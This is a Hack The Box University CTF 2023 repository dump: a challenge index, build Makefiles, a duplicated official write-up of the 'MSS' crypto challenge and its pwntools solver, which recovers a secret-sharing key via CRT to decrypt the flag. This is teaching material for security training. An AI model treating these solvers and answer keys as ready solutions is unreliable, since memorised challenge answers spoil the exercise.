4 |
5 | # [__Challenges__](#challenges)
6 | | Category | Name | Objective | Difficulty [⭐⭐⭐⭐⭐] |
7 | |---------------|-------------------------------------------------------------------------|--------------------------------------------------|-------------------------|
8 | | **Web** | [GateCrash](uni-ctf-2023/web/[Easy]%20GateCrash) | SQL injection via CRLF injection | ⭐ |
9 | | **Web** | [Nexus Void](uni-ctf-2023/web/[Medium]%20Nexus%20Void) | Dotnet deserialisaiton via SQL injection | ⭐⭐ |
10 | | **Web** | [PhantomFeed](uni-ctf-2023/web/[Hard]%20PhantomFeed) | Race condition via reDos, open-redirect in Nuxt.js to perofrm CSRF and leak OAuth 2 access token, RCE in Reportlab | ⭐⭐⭐ |
11 | | **Pwn** | [Great Old Talisman](uni-ctf-2023/pwn/[Easy]%20Great%20Old%20Talisman) | Overwrite `exit@GOT` with the address of the function that reads the flag | ⭐ |
12 | | **Pwn** | [Zombienator](uni-ctf-2023/pwn/[Medium]%20Zombienator) | Make 9 allocations and 8 frees to leak a libc address, abuse scanf("ld") to bypass the canary check, use pwntools struct to pack doubles, and perform a ret2libc attack with one gadget | ⭐⭐ |
13 | | **Pwn** | [Zombiedote](uni-ctf-2023/pwn/[Hard]%20Zombiedote) | Leverage a single malloc call, an out of bounds read and two out of bounds writes in order into code execution in glibc 2.34 | ⭐⭐⭐ |
14 | | **Reversing** | [WindowOfOpportunity](uni-ctf-2023/rev/[Easy]%20WindowOfOpportunity) | Reversing simple flag checker algorithm | ⭐ |
15 | | **Reversing** | [BioBundle](uni-ctf-2023/rev/[Medium]%20BioBundle) | Reversing a flag checker embedded in a library encrypted and loaded with memfd_create | ⭐⭐ |
16 | | **Reversing** | [RiseFromTheDead](uni-ctf-2023/rev/[Hard]%20RiseFromTheDead) | Reversing a flag encoder then recovering a core dump to retrieve the flagg | ⭐⭐⭐ |
17 | | **Forensics** | [One Step Closer](uni-ctf-2023/forensics/[Easy]%20One%20Step%20Closer) | Windows JScript deobfuscation - Malware delivery - VBS debugging | ⭐ |
18 | | **Forensics** | [ZombieNet](uni-ctf-2023/forensics/[Medium]%20ZombieNet) | OpenWrt firwmare analysis - MIPS binary emulation using QEMU | ⭐⭐ |
19 | | **Forensics** | [Shadow of the Undead](uni-ctf-2023/forensics/[Hard]%20Shadow%20of%20the%20Undead) | Meterpreter parsing/decryption - custom windows shellcode emulation | ⭐⭐⭐ |
20 | | **Crypto** | [MSS](uni-ctf-2023/crypto/[Easy]%20MSS)| Use CRT to get the entire secret on a Mignotte Secret Sharing scheme | ⭐|
21 | | **Crypto** | [Mayday Mayday](uni-ctf-2023/crypto/[Medium]%20Mayday%20Mayday) | Factor N by exploiting the partial leakage of the CRT components | ⭐⭐ |
22 | | **Crypto** | [Zombie Rolled](uni-ctf-2023/crypto/[Hard]%20Zombie%20Rolled) | Solve a diophantine equation to get the private key and apply LLL to recover the flag from the signature | ⭐⭐⭐ |
23 |
--------------------------------------------------------------------------------
/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/assets/banner.png
--------------------------------------------------------------------------------
/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/assets/htb.png
--------------------------------------------------------------------------------
/assets/logo_htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/assets/logo_htb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Easy] MSS Revenge/Makefile:
--------------------------------------------------------------------------------
1 | default:
2 | ifdef name
3 | @cd challenge; \
4 | mkdir -p ../release/crypto_$(name); \
5 | cp server.py ../release/crypto_$(name);
6 |
7 | @cd release; \
8 | zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \
9 | unzip -l ./crypto_$(name).zip;
10 |
11 | @echo [+] Challenge was built successfully.
12 | else
13 | @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\"
14 | endif
15 |
16 | flag:
17 | @echo [+] Flag : $$(cd challenge; python3 -c 'from secret import FLAG; print(FLAG);')
18 |
19 | solver:
20 | @echo [+] Running solver
21 | @echo $$(cd challenge ; python3 ../htb/solver.py)
22 | @find ./ -name "*.sage.py" -type f -delete
23 |
24 | test: clean default flag solver
25 |
26 | clean:
27 | @rm -rf release/*
28 | @find . -name "*.sage.py" -type f -delete
29 | @echo [+] Challenge release deleted successfully.
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Easy] MSS Revenge/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | MSS
5 |
6 | 28^{th} 2023 / Document No. D22.102.16
7 |
8 | Prepared By: `aris`
9 |
10 | Challenge Author(s): `aris`
11 |
12 | Difficulty: Easy
13 |
14 | Classification: Official
15 |
16 | # Synopsis
17 |
18 | - This challenge teaches players about the Mignotte Secret Sharing scheme. In this scheme, we are able to obtain the secret modulo $n$ distinct relatively prime moduli and combine these partial solutions with CRT to get the entire secret $a_0$.
19 |
20 | ## Description
21 |
22 | - The military possesses a server containing crucial data about the virus and potential cures, secured with encryption and a key distributed using a secret sharing scheme. However, authorized members holding parts of the key are infected, preventing access to the research. Fueled by your cryptography passion, you and your friends aim to hack into the server and recover the key. Can you succeed in this challenging mission?
23 |
24 | ## Skills Required
25 |
26 | - Basic knowledge of Secret Sharing schemes.
27 | - Familiar with polynomials.
28 | - Know how to combine partial solutions to obtain a full solution.
29 |
30 | ## Skills Learned
31 |
32 | - Learn how to apply CRT to combine multiple partial solutions.
33 | - Learn about the Mignotte Secret Sharing.
34 |
35 | # Enumeration
36 |
37 | ## Analyzing the source code
38 |
39 | In this challenge, we are provided with one file `server.py` which is the main script that runs when we connect to the remote instance.
40 |
41 | From the welcome message, we understand that the challenge is about secret sharing schemes. Such a scheme usually requires two parameters having been set:
42 |
43 | - The finite field $GF(p)$ in which all the operations will be performed.
44 | - The degree of the polynomial to be interpolated, say `d`.
45 | - The number of users in the scheme `n` (or equivalently, the number of shares required to interpolate the polynomial).
46 |
47 | ### Polynomials in Secret Sharing schemes
48 |
49 | Before moving on, it is important to recall how secret sharing schemes work. The purpose of such a scheme is key distribution among a group of users where each user contributes to this distrubution by submitting their ***share***; as it is called. First, a $d$-degree polynomial needs to be defined under a finite field $GF(p)$.
50 | $$P(x) = a_0 + a_1x + a_2x^2 + \dots + a_dx^d \pmod p$$
51 | Moreover let $n$ be the number of users that intend to distribute the secret. It turns out that $P$ can be uniquely determined (i.e. interpolated) only if $n > d$. In other words, there are needed at least as many shares as the number of coefficients of $P$.
52 |
53 | Back to our problem, there are two things that stand out.
54 |
55 | - The polynomial being used is not defined in a finite field $GF(p)$. This is trivial to see from the `poly` function which substitutes the polynomial with the value of $x$ and the result is not reduced modulo any prime number $p$.
56 |
57 | ```python
58 | def poly(self, x):
59 | return sum([self.coeffs[i] * x**i for i in range(self.d+1)])
60 | ```
61 |
62 | - The degree of the polynomial is $30$ but the maximum number of shares is only $19$ which initially might make us think that it is not possible to interpolate the polynomial. This is trivial to see from the constructor of the MSS class.
63 |
64 | ```python
65 | class MSS:
66 | def __init__(self, BITS, d, n):
67 | self.d = d
68 | self.n = n
69 | self.BITS = BITS
70 | ...
71 |
72 | def main():
73 | mss = MSS(256, 30, 19)
74 | ...
75 | ```
76 |
77 | Our final task is to recover the $a_0$ coefficient of the polynomial which is the key that is eventually used to encrypt the flag.
78 |
79 | ```python
80 | self.key = bytes_to_long(os.urandom(BITS//8))
81 | self.coeffs = [self.key] + [bytes_to_long(os.urandom(self.BITS//8)) for _ in range(self.d)]
82 | ```
83 |
84 | ```python
85 | def encrypt_flag(self, m):
86 | key = sha256(str(self.key).encode()).digest()
87 | iv = os.urandom(16)
88 | cipher = AES.new(key, AES.MODE_CBC, iv)
89 | ct = cipher.encrypt(pad(m, 16))
90 | return {'iv': iv.hex(), 'enc_flag': ct.hex()}
91 | ```
92 |
93 | Therefore we can deduce the following about the secret sharing scheme.
94 |
95 | - The polynomial is defined over the integers and is of degree $d = 30$.
96 | - The maximum number of users in this scheme is $n = 19$.
97 | - The size of each coefficient is 256 bits.
98 | - All coefficients but $a_0$ are random 256-bit integers. $a_0$ itself is the key that we have to recover.
99 |
100 | Now let us examine the flow of the application and how we can interact with it.
101 |
102 | 1. We can send our ID to the server and receive our share back.
103 | 2. We can receive the encrypted flag from the server.
104 |
105 | Since the key is unknown and AES is considered secure, we will experiment with the first option. The first option has the following restrictions.
106 |
107 | ```python
108 | def get_share(self, x):
109 | if x > 2**15:
110 | return {'approved': 'False', 'reason': 'This scheme is intended for less users.'}
111 | elif self.n < 1:
112 | return {'approved': 'False', 'reason': 'Enough shares for today.'}
113 | else:
114 | self.n -= 1
115 | return {'approved': 'True', 'x': x, 'y': self.poly(x)}
116 | ```
117 |
118 | 1. Our ID must not be greater than 15 bits.
119 | 2. Each time we send an ID, the number of shares is decreased by $1$ so we are allowed to send only 19 requests.
120 | 3. If we attempt to send more, our request is not accepted.
121 |
122 | # Solution
123 |
124 | ## Finding the vulnerability
125 |
126 | This challenge demonstrates why it is important to use secure parameters for secret sharing schemes and to define polynomials in finite fields. Firstly, the problem with recovering the coefficients directly is that there are 31 unknowns but we are able to obtain only 19 relations with these variables. Let us redefine the polynomial $P$:
127 | $$P(x) = a_0 + a_1x + a_2x^2 + \dots + a_{30}x^{30}$$
128 | Assuming the player is familiar with modular arithmetic, they can quickly observe that:
129 | $$P(x_i) \pmod {x_i} \equiv a_0 \pmod {x_i}$$
130 | Therefore, by reducing the $i$-th share modulo $x_i$ we get the first coefficient $a_0$ (i.e. our secret) reduced modulo $x_i$. That is because all the other terms are eliminated as they are multiples of $x_i$.
131 | $$P(x_i) = a_0 + a_1x_i + a_2x_i^2 + \dots + a_{30}x_i^{30}$$
132 | A question might arise regarding how useful this is. There is a well known theorem known as the Chinese Remainder Theorem (CRT) that helps us to find a full solution given enough partial solutions. More specifically, given the following relations:
133 | $$x \equiv c_1 \pmod {n_1}\\
134 | x \equiv c_2 \pmod {n_2}\\
135 | \vdots\\
136 | x \equiv c_k \pmod {n_k}$$
137 | and assuming that $n_i$ are all relatively prime, the Chinese Remainder Theorem can find a solution for $x$ modulo $N = n_1n_2 \dots n_k$.
138 |
139 | Note that this challenge can become significantly easier if the player is already aware of the well known secret sharing scheme known as Mignotte Secret Sharing scheme (MSS).
140 |
141 | Since we are limited to send at most 15-bit IDs, we would need at least $\lceil{\dfrac{256}{15}}\rceil = 18$ shares in order to recover the entire 256-bit secret which we are able to do since the upper limit is 19. More specifically, with 18 requests we can recover 15*18 = 270 bits of the key.
142 |
143 |
144 |
145 | ## Exploitation
146 |
147 | Let us adjust the Chinese Remainder Theorem to our challenge data. The idea is to send 18 distinct $x_i$ as IDs and reduce the share modulo $x_i$. Then we obtain $a_0 \pmod {x_i}$. Repeating this we obtain several equations for the key $K$:
148 | $$K \equiv a_0 \pmod {x_0}\\
149 | K \equiv a_0 \pmod {x_1}\\
150 | \vdots\\
151 | K \equiv a_0 \pmod {x_{17}}$$
152 | This is exactly in the form of the Chinese Remainder Theorem so we can apply it to recover the full key $K$. To avoid the $x_i$ having common factors, we can define them to be prime numbers.
153 |
154 | Let us write a function that randomly selects 18 15-bit primes, sends them to the server as the user ID and receives the corresponding share.
155 |
156 | ```python
157 | from Crypto.Util.number import getPrime
158 |
159 | def obtain_shares():
160 | X = [getPrime(15) for _ in range(n)]
161 | RK = [] # reduced keys
162 |
163 | for x in X:
164 | payload = json.dumps({'command': 'get_share', 'x': x})
165 | io.sendlineafter(b'query = ', payload.encode())
166 | share = json.loads(io.recvline().strip())['y']
167 | RK.append(share % x)
168 |
169 | return X, RK
170 |
171 | d = 30
172 | n = 19
173 | ```
174 |
175 | Having obtained the shares, we can use Sympy's implementation of the CRT and solve for the key.
176 |
177 | ```python
178 | from sympy.ntheory.modular import crt
179 |
180 | def solve_crt(X, rk):
181 | return int(crt(X, rk)[0])
182 | ```
183 |
184 | Finally, we can hash the key as seen in the challenge source, request the encrypted flag and decrypt it.
185 |
186 | ```python
187 | from hashlib import sha256
188 |
189 | def calculate_decryption_key(key):
190 | return sha256(str(key).encode()).digest()
191 |
192 | def request_encrypted_flag():
193 | payload = json.dumps({'command': 'encrypt_flag'})
194 | io.sendlineafter(b'query = ', payload.encode())
195 | io.recvuntil(b'flag : ')
196 |
197 | data = json.loads(io.recvuntil(b'}').strip())
198 | iv = bytes.fromhex(data['iv'])
199 | encflag = bytes.fromhex(data['enc_flag'])
200 | return iv, encflag
201 |
202 | from Crypto.Util.Padding import unpad
203 | from Crypto.Cipher import AES
204 |
205 | def decrypt_flag(key, iv, enc_flag):
206 | cipher = AES.new(key, AES.MODE_CBC, iv)
207 | return unpad(cipher.decrypt(encflag), 16).decode()
208 | ```
209 |
210 | ### Getting the flag
211 |
212 | A final summary of all that was said above:
213 |
214 | 1. Notice that the degree of the polynomial $d = 30$ is greater than the number of shares we are allowed to obtain $n = 19$.
215 | 2. Write down how $x_i$ are substituted in the polynomial $P$ and take advantage of the modular arithmetic properties to get the key $a_0$ reduced modulo different relatively prime moduli.
216 | 3. Having obtained enough modular congruences, apply the CRT to find the whole key.
217 | 4. Recalculate the decryption key
218 | 5. Request the encrypted flag and decrypt it.
219 |
220 | These steps can be represented by code with the `pwn()` function:
221 |
222 | ```python
223 | def pwn():
224 | X, RK = obtain_shares()
225 | key = solve_crt(X, RK)
226 | aes_key = calculate_decryption_key(key)
227 | iv, enc_flag = request_encrypted_flag()
228 | flag = decrypt_flag(key, iv, enc_flag)
229 | print(flag)
230 |
231 | pwn()
232 | ```
233 |
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Easy] MSS Revenge/htb/solver.py:
--------------------------------------------------------------------------------
1 | from pwn import remote, process, args
2 | from sympy.ntheory.modular import crt
3 | from Crypto.Util.number import getPrime
4 | from Crypto.Cipher import AES
5 | from Crypto.Util.Padding import unpad
6 | import json, math
7 | from hashlib import sha256
8 |
9 |
10 | if args.REMOTE:
11 | ip, port = args.HOST.split(":")
12 | io = remote(ip, int(port))
13 | else:
14 | io = process("python3 ../challenge/server.py", shell=True)
15 |
16 | d = 30
17 | n = 19
18 |
19 | X = [getPrime(15) for _ in range(n-1)]
20 | RK = [] # reduced keys
21 |
22 | for x in X:
23 | payload = json.dumps({'command': 'get_share', 'x': x})
24 | io.sendlineafter(b'query = ', payload.encode())
25 | y = json.loads(io.recvline().strip())['y']
26 | RK.append(y % x)
27 |
28 | key = int(crt(X, RK)[0])
29 | key = sha256(str(key).encode()).digest()
30 |
31 | payload = json.dumps({'command': 'encrypt_flag'})
32 | io.sendlineafter(b'query = ', payload.encode())
33 | io.recvuntil(b'flag : ')
34 |
35 | data = json.loads(io.recvuntil(b'}').strip())
36 | iv = bytes.fromhex(data['iv'])
37 | encflag = bytes.fromhex(data['enc_flag'])
38 |
39 | cipher = AES.new(key, AES.MODE_CBC, iv)
40 |
41 | print(unpad(cipher.decrypt(encflag), 16).decode())
42 |
43 |
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Easy] MSS/Makefile:
--------------------------------------------------------------------------------
1 | default:
2 | ifdef name
3 | @cd challenge; \
4 | mkdir -p ../release/crypto_$(name); \
5 | cp server.py ../release/crypto_$(name);
6 |
7 | @cd release; \
8 | zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \
9 | unzip -l ./crypto_$(name).zip;
10 |
11 | @echo [+] Challenge was built successfully.
12 | else
13 | @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\"
14 | endif
15 |
16 | flag:
17 | @echo [+] Flag : $$(cd challenge; python3 -c 'from secret import FLAG; print(FLAG);')
18 |
19 | solver:
20 | @echo [+] Running solver
21 | @echo $$(cd challenge ; python3 ../htb/solver.py)
22 | @find ./ -name "*.sage.py" -type f -delete
23 |
24 | test: clean default flag solver
25 |
26 | clean:
27 | @rm -rf release/*
28 | @find . -name "*.sage.py" -type f -delete
29 | @echo [+] Challenge release deleted successfully.
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Easy] MSS/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | MSS
5 |
6 | 28^{th} 2023 / Document No. D22.102.16
7 |
8 | Prepared By: `aris`
9 |
10 | Challenge Author(s): `aris`
11 |
12 | Difficulty: Easy
13 |
14 | Classification: Official
15 |
16 | # Synopsis
17 |
18 | - This challenge teaches players about the Mignotte Secret Sharing scheme. In this scheme, we are able to obtain the secret modulo $n$ distinct relatively prime moduli and combine these partial solutions with CRT to get the entire secret $a_0$.
19 |
20 | ## Description
21 |
22 | - The military possesses a server containing crucial data about the virus and potential cures, secured with encryption and a key distributed using a secret sharing scheme. However, authorized members holding parts of the key are infected, preventing access to the research. Fueled by your cryptography passion, you and your friends aim to hack into the server and recover the key. Can you succeed in this challenging mission?
23 |
24 | ## Skills Required
25 |
26 | - Basic knowledge of Secret Sharing schemes.
27 | - Familiar with polynomials.
28 | - Know how to combine partial solutions to obtain a full solution.
29 |
30 | ## Skills Learned
31 |
32 | - Learn how to apply CRT to combine multiple partial solutions.
33 | - Learn about the Mignotte Secret Sharing.
34 |
35 | # Enumeration
36 |
37 | ## Analyzing the source code
38 |
39 | In this challenge, we are provided with one file `server.py` which is the main script that runs when we connect to the remote instance.
40 |
41 | From the welcome message, we understand that the challenge is about secret sharing schemes. Such a scheme usually requires two parameters having been set:
42 |
43 | - The finite field $GF(p)$ in which all the operations will be performed.
44 | - The degree of the polynomial to be interpolated, say `d`.
45 | - The number of users in the scheme `n` (or equivalently, the number of shares required to interpolate the polynomial).
46 |
47 | ### Polynomials in Secret Sharing schemes
48 |
49 | Before moving on, it is important to recall how secret sharing schemes work. The purpose of such a scheme is key distribution among a group of users where each user contributes to this distrubution by submitting their ***share***; as it is called. First, a $d$-degree polynomial needs to be defined under a finite field $GF(p)$.
50 | $$P(x) = a_0 + a_1x + a_2x^2 + \dots + a_dx^d \pmod p$$
51 | Moreover let $n$ be the number of users that intend to distribute the secret. It turns out that $P$ can be uniquely determined (i.e. interpolated) only if $n > d$. In other words, there are needed at least as many shares as the number of coefficients of $P$.
52 |
53 | Back to our problem, there are two things that stand out.
54 |
55 | - The polynomial being used is not defined in a finite field $GF(p)$. This is trivial to see from the `poly` function which substitutes the polynomial with the value of $x$ and the result is not reduced modulo any prime number $p$.
56 |
57 | ```python
58 | def poly(self, x):
59 | return sum([self.coeffs[i] * x**i for i in range(self.d+1)])
60 | ```
61 |
62 | - The degree of the polynomial is $30$ but the maximum number of shares is only $19$ which initially might make us think that it is not possible to interpolate the polynomial. This is trivial to see from the constructor of the MSS class.
63 |
64 | ```python
65 | class MSS:
66 | def __init__(self, BITS, d, n):
67 | self.d = d
68 | self.n = n
69 | self.BITS = BITS
70 | ...
71 |
72 | def main():
73 | mss = MSS(256, 30, 19)
74 | ...
75 | ```
76 |
77 | Our final task is to recover the $a_0$ coefficient of the polynomial which is the key that is eventually used to encrypt the flag.
78 |
79 | ```python
80 | self.key = bytes_to_long(os.urandom(BITS//8))
81 | self.coeffs = [self.key] + [bytes_to_long(os.urandom(self.BITS//8)) for _ in range(self.d)]
82 | ```
83 |
84 | ```python
85 | def encrypt_flag(self, m):
86 | key = sha256(str(self.key).encode()).digest()
87 | iv = os.urandom(16)
88 | cipher = AES.new(key, AES.MODE_CBC, iv)
89 | ct = cipher.encrypt(pad(m, 16))
90 | return {'iv': iv.hex(), 'enc_flag': ct.hex()}
91 | ```
92 |
93 | Therefore we can deduce the following about the secret sharing scheme.
94 |
95 | - The polynomial is defined over the integers and is of degree $d = 30$.
96 | - The maximum number of users in this scheme is $n = 19$.
97 | - The size of each coefficient is 256 bits.
98 | - All coefficients but $a_0$ are random 256-bit integers. $a_0$ itself is the key that we have to recover.
99 |
100 | Now let us examine the flow of the application and how we can interact with it.
101 |
102 | 1. We can send our ID to the server and receive our share back.
103 | 2. We can receive the encrypted flag from the server.
104 |
105 | Since the key is unknown and AES is considered secure, we will experiment with the first option. The first option has the following restrictions.
106 |
107 | ```python
108 | def get_share(self, x):
109 | if x > 2**15:
110 | return {'approved': 'False', 'reason': 'This scheme is intended for less users.'}
111 | elif self.n < 1:
112 | return {'approved': 'False', 'reason': 'Enough shares for today.'}
113 | else:
114 | self.n -= 1
115 | return {'approved': 'True', 'x': x, 'y': self.poly(x)}
116 | ```
117 |
118 | 1. Our ID must not be greater than 15 bits.
119 | 2. Each time we send an ID, the number of shares is decreased by $1$ so we are allowed to send only 19 requests.
120 | 3. If we attempt to send more, our request is not accepted.
121 |
122 | # Solution
123 |
124 | ## Finding the vulnerability
125 |
126 | This challenge demonstrates why it is important to use secure parameters for secret sharing schemes and to define polynomials in finite fields. Firstly, the problem with recovering the coefficients directly is that there are 31 unknowns but we are able to obtain only 19 relations with these variables. Let us redefine the polynomial $P$:
127 | $$P(x) = a_0 + a_1x + a_2x^2 + \dots + a_{30}x^{30}$$
128 | Assuming the player is familiar with modular arithmetic, they can quickly observe that:
129 | $$P(x_i) \pmod {x_i} \equiv a_0 \pmod {x_i}$$
130 | Therefore, by reducing the $i$-th share modulo $x_i$ we get the first coefficient $a_0$ (i.e. our secret) reduced modulo $x_i$. That is because all the other terms are eliminated as they are multiples of $x_i$.
131 | $$P(x_i) = a_0 + a_1x_i + a_2x_i^2 + \dots + a_{30}x_i^{30}$$
132 | A question might arise regarding how useful this is. There is a well known theorem known as the Chinese Remainder Theorem (CRT) that helps us to find a full solution given enough partial solutions. More specifically, given the following relations:
133 | $$x \equiv c_1 \pmod {n_1}\\
134 | x \equiv c_2 \pmod {n_2}\\
135 | \vdots\\
136 | x \equiv c_k \pmod {n_k}$$
137 | and assuming that $n_i$ are all relatively prime, the Chinese Remainder Theorem can find a solution for $x$ modulo $N = n_1n_2 \dots n_k$.
138 |
139 | Note that this challenge can become significantly easier if the player is already aware of the well known secret sharing scheme known as Mignotte Secret Sharing scheme (MSS).
140 |
141 | Since we are limited to send at most 15-bit IDs, we would need at least $\lceil{\dfrac{256}{15}}\rceil = 18$ shares in order to recover the entire 256-bit secret which we are able to do since the upper limit is 19. More specifically, with 18 requests we can recover 15*18 = 270 bits of the key.
142 |
143 |
144 |
145 | ## Exploitation
146 |
147 | Let us adjust the Chinese Remainder Theorem to our challenge data. The idea is to send 18 distinct $x_i$ as IDs and reduce the share modulo $x_i$. Then we obtain $a_0 \pmod {x_i}$. Repeating this we obtain several equations for the key $K$:
148 | $$K \equiv a_0 \pmod {x_0}\\
149 | K \equiv a_0 \pmod {x_1}\\
150 | \vdots\\
151 | K \equiv a_0 \pmod {x_{17}}$$
152 | This is exactly in the form of the Chinese Remainder Theorem so we can apply it to recover the full key $K$. To avoid the $x_i$ having common factors, we can define them to be prime numbers.
153 |
154 | Let us write a function that randomly selects 18 15-bit primes, sends them to the server as the user ID and receives the corresponding share.
155 |
156 | ```python
157 | from Crypto.Util.number import getPrime
158 |
159 | def obtain_shares():
160 | X = [getPrime(15) for _ in range(n)]
161 | RK = [] # reduced keys
162 |
163 | for x in X:
164 | payload = json.dumps({'command': 'get_share', 'x': x})
165 | io.sendlineafter(b'query = ', payload.encode())
166 | share = json.loads(io.recvline().strip())['y']
167 | RK.append(share % x)
168 |
169 | return X, RK
170 |
171 | d = 30
172 | n = 19
173 | ```
174 |
175 | Having obtained the shares, we can use Sympy's implementation of the CRT and solve for the key.
176 |
177 | ```python
178 | from sympy.ntheory.modular import crt
179 |
180 | def solve_crt(X, rk):
181 | return int(crt(X, rk)[0])
182 | ```
183 |
184 | Finally, we can hash the key as seen in the challenge source, request the encrypted flag and decrypt it.
185 |
186 | ```python
187 | from hashlib import sha256
188 |
189 | def calculate_decryption_key(key):
190 | return sha256(str(key).encode()).digest()
191 |
192 | def request_encrypted_flag():
193 | payload = json.dumps({'command': 'encrypt_flag'})
194 | io.sendlineafter(b'query = ', payload.encode())
195 | io.recvuntil(b'flag : ')
196 |
197 | data = json.loads(io.recvuntil(b'}').strip())
198 | iv = bytes.fromhex(data['iv'])
199 | encflag = bytes.fromhex(data['enc_flag'])
200 | return iv, encflag
201 |
202 |
203 | from Crypto.Util.Padding import unpad
204 | from Crypto.Cipher import AES
205 |
206 | def decrypt_flag(key, iv, enc_flag):
207 | cipher = AES.new(key, AES.MODE_CBC, iv)
208 | return unpad(cipher.decrypt(encflag), 16).decode()
209 | ```
210 |
211 | ### Getting the flag
212 |
213 | A final summary of all that was said above:
214 |
215 | 1. Notice that the degree of the polynomial $d = 30$ is greater than the number of shares we are allowed to obtain $n = 19$.
216 | 2. Write down how $x_i$ are substituted in the polynomial $P$ and take advantage of the modular arithmetic properties to get the key $a_0$ reduced modulo different relatively prime moduli.
217 | 3. Having obtained enough modular congruences, apply the CRT to find the whole key.
218 | 4. Recalculate the decryption key
219 | 5. Request the encrypted flag and decrypt it.
220 |
221 | These steps can be represented by code with the `pwn()` function:
222 |
223 | ```python
224 | def pwn():
225 | X, RK = obtain_shares()
226 | key = solve_crt(X, RK)
227 | aes_key = calculate_decryption_key(key)
228 | iv, enc_flag = request_encrypted_flag()
229 | flag = decrypt_flag(key, iv, enc_flag)
230 | print(flag)
231 |
232 | pwn()
233 | ```
234 |
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Easy] MSS/htb/solver.py:
--------------------------------------------------------------------------------
1 | from pwn import remote, process, args
2 | from sympy.ntheory.modular import crt
3 | from Crypto.Util.number import getPrime
4 | from Crypto.Cipher import AES
5 | from Crypto.Util.Padding import unpad
6 | import json, math
7 | from hashlib import sha256
8 |
9 |
10 | if args.REMOTE:
11 | ip, port = args.HOST.split(":")
12 | io = remote(ip, int(port))
13 | else:
14 | io = process("python3 ../challenge/server.py", shell=True)
15 |
16 | d = 30
17 | n = 19
18 |
19 | X = [getPrime(15) for _ in range(n-1)]
20 | RK = [] # reduced keys
21 |
22 | for x in X:
23 | payload = json.dumps({'command': 'get_share', 'x': x})
24 | io.sendlineafter(b'query = ', payload.encode())
25 | y = json.loads(io.recvline().strip())['y']
26 | RK.append(y % x)
27 |
28 | key = int(crt(X, RK)[0])
29 | key = sha256(str(key).encode()).digest()
30 |
31 | payload = json.dumps({'command': 'encrypt_flag'})
32 | io.sendlineafter(b'query = ', payload.encode())
33 | io.recvuntil(b'flag : ')
34 |
35 | data = json.loads(io.recvuntil(b'}').strip())
36 | iv = bytes.fromhex(data['iv'])
37 | encflag = bytes.fromhex(data['enc_flag'])
38 |
39 | cipher = AES.new(key, AES.MODE_CBC, iv)
40 |
41 | print(unpad(cipher.decrypt(encflag), 16).decode())
42 |
43 |
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Hard] Zombie Rolled/Makefile:
--------------------------------------------------------------------------------
1 | default:
2 | ifdef name
3 | @cd challenge; \
4 | sage -python3 source.py; \
5 | mkdir crypto_$(name); \
6 | cp source.py output.txt ./crypto_$(name); \
7 | cp output.txt ../htb/; \
8 | mv ./crypto_$(name) ../release/;
9 |
10 | @cd release; \
11 | zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \
12 | unzip -l ./crypto_$(name).zip;
13 |
14 | @echo [+] Challenge was built successfully.
15 | else
16 | @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\"
17 | endif
18 |
19 | flag:
20 | @echo [+] Flag : $$(cd challenge; sage -python3 -c 'import secret; print(secret.FLAG.decode())')
21 | solver:
22 | @echo [+] PoC : $$(cd htb ; sage -python3 solver.py)
23 | @find . -name "*.sage.py" -type f -delete
24 |
25 | test: clean default flag solver
26 |
27 | clean:
28 | @rm -rf release/*
29 | @rm -rf htb/output.txt
30 | @find . -name "*.sage.py" -type f -delete
31 | @echo [+] Challenge release deleted successfully.
32 |
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Hard] Zombie Rolled/htb/output.txt:
--------------------------------------------------------------------------------
1 | pub = (-679149827688896546432684514781159016843208241259733038415608446794483893865137935606244643075224614588255514670703135466975466970913232919448971056463765967267932205245723609028669700790327888053737513173004906874791948794706164874163000233242663467112356684022940655151358257782991132383407917101800634477163967250047209128395271227452766580073122831277123102243705154267181506512402418039719173720827696442606604970528063168565779813124052546633103006687964589521475168208905582555230534709754318532234948569155566965251016769141273474050547777208930826949494111933369822606247918218189742785296490363879808413854798453415486721083351760540440727104905848109665720749305468099771944894375713469720303756620101486771358570935901473647573434771209918671576552610105681029288935780171889489032033021940200657122568137703155744190258342713712412791279147013204380608939099412456303268575877533613186703629403608506029153274825614231950222036769768440858686468414798013424323765200986740221652787739657510451377763752151261173701557996570807100005672113902309356835881522886670894124683065117547063607171455016275575226133973000898546626428525316423640294588059582425678225307973026140509236726222895277593502658123536454581741258241350319709620218946214665277722917625163484143287737560990362641167985157948128093478633332215687808673326510025966928820082371826010204772434810834908522239370003521927141674940923107924718589020116481655436804371698576313448620651274568714018039959665606305466508336068792512300330447079049391998121903628542300433666064229921580215835067999800174889123776199641564914760737600821953293714498453721075798275047009255942697608822458887368884228615671991262750899422262693397993810261279502497616420217291365257434988696383465213630804193810674969275499135895349396517300341694326130217329147937575188985044945549854453507141533817669145401648967346307076924815850188448842044898686784928539015228772201838211426957234107261809629639488140342429501192224120877838900600824055655563831019772958581350347081393942024086716044621385448218128870528968546874044728000006962970494893355352673283507468842799994294656025864551101856509528014985899203160260433154506345617010883888392862375738238905192516684056280710225432696655387350661830299769543107006018477779636761481812001885777307338070488998064732654317341303970152707374877928275562177058710127753099319277046999346991319018270073503529254012239006330090621492580837121246383935, 